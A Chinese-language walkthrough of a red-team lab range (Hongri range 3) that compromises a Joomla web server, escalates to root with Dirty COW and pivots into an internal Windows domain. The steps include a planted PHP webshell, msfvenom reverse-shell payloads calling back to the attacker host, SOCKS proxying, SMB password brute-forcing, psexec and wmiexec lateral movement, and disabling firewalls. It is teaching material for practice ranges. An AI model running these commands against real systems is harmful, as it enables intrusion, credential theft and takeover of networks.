ATT&CK红队评估(红日靶场三)

靶场搭建

靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

本次测试为黑盒测试,所以所有主机都为挂起状态,且账号都默认已经登录

已知出网主机为centos主机

将centos出网网卡和kali攻击机网卡都设置为NAT模式

其它网卡都默认vmnet2模式

如果没有vmnet2虚拟网络,应该在虚拟网络编辑器建立一个虚拟网络vmnet2,仅主机模式,子网地址为192.168.93.0

图片[1]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

开启centos,第一次运行,需重新获取桥接模式网卡ip

service network restart

查看ip,发现两个网段

192.168.48.0/24(出网ip)和192.168.93.0/24(内网ip)

图片[2]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

在kali上ping一下出网主机,看能否连通

图片[3]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

开启所有主机,靶场搭建完毕

渗透测试

因为是黑盒测试,所以我们现在并不知道出网主机的ip

使用nmap扫描整个网段,探测存活主机

nmap -sP -T4 192.168.48.0/24

图片[4]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

发现136和134两台主机(1,2,254是网关和广播地址)

136是KALI攻击机,所以靶机地址为192.168.48.134

使用nmap扫描查看端口开放情况

nmap -sS -p 1-65535 -A 192.168.48.134

图片[5]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

开放了22端口,ssh服务,可能存在密码爆破

开放了80端口,存在http网站服务

开放了3306,存在MYSQL服务,可能存在弱口令

访问网站

图片[6]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室
图片[7]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

知道网站CMS是Joomla,直接用kali自带工具joomscan进行扫描

joomscan –url http://192.168.48.134/

图片[8]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

没有发现漏洞,发现后台

http://192.168.48.134/administrator/index.php

访问后台

图片[9]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

测试了一下存不存在默认账号密码弱口令,发现不存在

还扫描出一个敏感配置文件

图片[10]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

在配置文件中找到了数据库账号密码

图片[11]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

使用Nivicat工具成功连接数据库

图片[12]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

前面joomscan已经扫描出joomla版本为3.9.12

搜索引擎搜索此版本添加密码

搜索到Joomla使用SQL代码添加密码 Joomla 2.5 Joomla 3.x Joomla 4.x

(这里需要注意表名和组名,这里表名为am2zu_users,组名为am2zu_user_usergroup_map)

图片[13]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室
INSERT INTO am2zu_users
(name, username, password, params, registerDate, lastvisitDate, lastResetTime)
VALUES ('Administrator2', 'admin123',
'433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT', '', NOW(), NOW(), NOW());
INSERT INTO am2zu_user_usergroup_map (user_id,group_id)
VALUES (LAST_INSERT_ID(),'8');

- admin  = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- OU812  = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm
图片[14]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

添加成功

登录后台成功

图片[15]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

新建一个php文件用于保存马

图片[16]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

写入一句话木马

图片[17]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

使用蚁剑连接

图片[18]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室
图片[19]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

发现不能执行命令

图片[20]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

一定是设置了disable_functions

蚁剑有专门绕过disable_functions的插件(可以在插件市场下载,需要梯子)

图片[21]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

选择PHP7_GC_UAF模式或者下一个PHP的模式,然后点击开始,就会弹出一个终端

图片[22]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

绕过成功

图片[23]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

ipconfig发现只有一个网卡,而centos应该有两个网卡,一个出网网卡,一个内网网卡

图片[24]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

uname -a 发现是Ubuntu系统

图片[25]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

拿到了Centos的shell,执行命令返回的是Ubuntu(web1)的信息

原来是Centos是Ubuntu的反向代理,用的是Nginx协议

在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqx

前面扫描端口存在ssh,这应该是用在这,使用xshell工具登录ssh

图片[26]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

登录成功

ipconfig

图片[27]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

可以看出是centos主机

成功获得centos的shell,接下来进行提权

Linux提权

1、内核提权(脏牛肉提权)

2、suid提权

3、sudo提权

4、数据库提权

sudo -l查看特权命令

图片[28]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

不能使用sudo命令

suid提权,通过命令find / -perm -4000 2>/dev/null查看是否具有root权限的命令

常见root权限文件

nmap

vim

find

bash

more

less

nano

cp

图片[29]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

没有可以用于提权的命令

内核提权

脏牛肉提权(CVE-2016-5195)

使用xftp上传exp,上传到临时文件夹/tmp下

图片[30]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

对dirty.c进行编译

gcc -pthread dirty.c -o dirty -lcrypt

执行编译后的文件,并设置密码

./dirty 123456

图片[31]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

su firefart

输入密码123456

图片[32]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

提权成功

使用xftp上传msf马,上线msf

生成linux马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4445 -f elf > a.elf

上传成功

图片[33]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

msf开启监听

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set LHOST 192.168.48.136

set LPORT 4445

exploit

执行msf马

chmod +x a.elf

./a.elf

成功获得会话

图片[34]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

内网渗透

由于在获取的会话执行shell获取的不是完整shell,所以使用pyhton中的pty模块反弹一个完整的shell环境

python -c ‘import pty;pty.spawn(“/bin/bash”)’

ipconfig查看网络信息

图片[35]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

发现内网网段192.168.93.0/24

首先添加路由

route add 192.168.93.0 255.255.255.0 1

图片[36]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

添加了路由之后只有msfconsole能进入到内网,如果需要其它程序也能进入到内网就要建立代理

挂起会话,ctrl+z(挂起后使用命令jobs可以查看挂起的进程,使用命令fg %挂起进程号(例:fg %1)可以恢复

使用earthworm搭建socks5反向代理,执行以下命令

chmod +x ew_for_linux64

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

图片[37]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

通过1080端口,将本地流量转发出去

rcsocks、rssocks 用于反向连接 ,ssocks 用于正向连接

-l 指定本地监听的端口

-e 指定要反弹到的机器端口

-d 指定要反弹到机器的IP

-f 指定要主动连接的机器 ip

-g 指定要主动连接的机器端口

-t 指定超时时长,默认为 1000

通过xftp工具上传./ew_for_linux64文件到centos的/tmp下

使用xshell工具在centos上执行如下命令

chmod +x ew_for_linux64

./ew_for_linux64 -s rssocks -d 192.168.48.136 -e 1234

(192.168.48.136为kali攻击机的ip)

图片[38]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

代理建立成功

图片[39]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

ctrl+z 挂起earthworm进程

将socks5 服务器指向 127.0.0.1:1080

vim /etc/proxychains4.conf

图片[40]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

验证代理是否建立成功

图片[41]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

jobs命令 查看挂起的进程

图片[42]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

fg %1 命令回到msfconsole进程

图片[43]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

探测存活主机

use auxiliary/scanner/discovery/udp_probe

set RHOSTS 192.168.93.0/24

set THREADS 5

exploit

图片[44]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

发现192.168.93.10主机WIN-8GA56TNV3MV

发现192.168.93.20主机WIN2008

发现192.168.93.30主机WIN7

前面已知192.168.93.100主机Centos

还有已知192.168.93.120主机Ubantu

使用nmap再次探测存活主机,进行确认

proxychains4 nmap -sP -T4 192.168.93.0/24

横向移动

使用nmap扫描每台主机

proxychains4 nmap -sP -T4 192.168.93.10

图片[45]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

proxychains4 nmap -sP -T4 192.168.93.20

图片[46]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

三台主机都是windows,10这台主机开放了53端口,可以推测出这台主机为域控主机

主机开放了445端口,尝试使用永恒之蓝

图片[47]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室
图片[48]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

三台主机都不存在永恒之蓝漏洞

20主机存在1433 mssql服务使用msf的模块进行密码爆破

图片[49]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

发现账号密码就是前面找到的mysql密码

试着使用mssql来执行命令

图片[50]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

发现不能执行命令

不能利用mssql,只能通过SMB爆破的方式了这里我尝试了使用responder工具伪造smb服务,然后用mssql触发,没有成功

图片[51]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

还在网上看到其它方法,但是需要诱使目标主机的管理员输入账号密码

利用msf模块进行进行SMB爆破

use auxiliary/scanner/smb/smb_login

set RHOSTS 192.168.93.30

set PASS_FILE /root/fuzzDicts/passwordDict/top500.txt

set SMBUser administrator

exploit

图片[52]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

爆破出xp密码为123qwe!ASD

图片[53]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

爆破出2012密码为zxcASDqw123!!

2008主机爆破报错

换工具爆破,使用kali自带工具hydra

图片[54]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

成功爆破出2008密码也为123qwe!ASD

使用msf自带模块进行攻击

use exploit/windows/smb/psexec

set payload windows/x64/meterpreter/bind_tcp

set SMBUser administrator

set SMBPass 123qwe!ASD

set RHOSTS 192.168.93.30

exploit

图片[55]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

成功拿下xp主机,获得会话后进行进程迁移,不然很开会断掉

migrate PID

用同样的方法,在2008主机和2012主机上失败

图片[56]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

使用另外一种方法

使用impacket包中的wmiexec工具

python wmiexec.py ‘administrator:zxcASDqw123!!@192.168.93.10’

图片[57]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

成功获得2012CMD

python wmiexec.py ‘administrator:123qwe!ASD@192.168.93.20’

图片[58]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

成功获得2008CMD

只有CMD且没有与外网连接,想要上传文件只能通过3389远程连接

开远程桌面功能

wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1

防火墙放行

netsh advfirewall firewall set rule group=”Remote Desktop” new enable=yes

图片[59]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

连接2012主机的远程桌面失败

图片[60]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

成功连接2008的远程桌面

图片[61]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

登录时记得要切换用户为administrator

登录成功

图片[62]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

生成一个msf bind的马

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=5555 -f exe > shell1.exe

将马通过远程连接上传到2008主机上

图片[63]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

在kali上进行监听

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set RHOST 192.168.93.20

set LPORT 5555

exploit

远程桌面执行msf马

成功收到会话

图片[64]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

通过getsystem提权,成功获得system权限

图片[65]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

进程迁移

migrate PID(可以通过ps命令查看进程)

2012主机无法通过远程桌面上传文件

想到可以用文件共享

在获得2012主机的CMD中执行命令

net use \192.168.93.20\ipc$ “zxcASDqw123!!” /user:TEST.ORG\Administrator

图片[66]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

成功建立ipc共享

生成一个msf bind马

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=6666 -f exe > shell2.exe

将马通过远程桌面上传到2008主机上

图片[67]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

再通过ipc文件共享复制到2012主机上

图片[68]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

上传成功

在msf开启监听

exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set RHOST 192.168.93.10

set LPORT 6666

exploit

在CMD上执行马

发现没有收到会话,应该是被防火墙拦截了,关闭防火墙

NetSh Advfirewall set allprofiles state off

成功收到会话

图片[69]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

使用getsystem命令提权

图片[70]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

进程迁移

migrate PID

图片[71]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

成功拿下所有主机

图片[72]-ATT&CK红队评估(红日靶场三)-NGC660 安全实验室

本文作者:xiaopanghacker, 转载请注明来自FreeBuf.COM

© 版权声明
THE END
喜欢就支持一下吧
点赞8赏点小钱 分享